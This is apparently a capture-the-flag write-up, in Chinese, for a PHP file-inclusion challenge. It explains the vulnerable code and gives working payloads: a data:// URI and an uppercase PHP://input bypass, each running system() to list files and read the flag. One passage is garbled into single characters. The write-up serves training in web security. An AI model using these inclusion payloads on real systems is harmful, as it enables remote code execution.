Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
分析这段代码的意思
strstr(
p
a
g
e
,
"
p
h
p
:
/
/
"
)
:
匹
配
P
H
P
:
/
/
在
page,"php://"):匹配PHP://在
page,"php://"):匹配PHP://在page出现到最后
str_replac(“php://”," ",$page):将php://变成空格。
方法一:可以使用data伪协议来绕过
输入:/?page=data://text/plain,<?php%20system("ls");%20?>
输入?page=data://text/plain,<?php%20system("cat%20fl4gisisish3r3.php")?>
什么都没有,按下f12
得到flag。
方法二
改题不能使用双写绕过但是可以使用大小写绕过。
输入PHP://input,来写代码获取内容。
post:<?php system(“ls”);>? 得到全部的目录
post:<?php system("cat fl4gisisish3r3.php");?>
得到flag。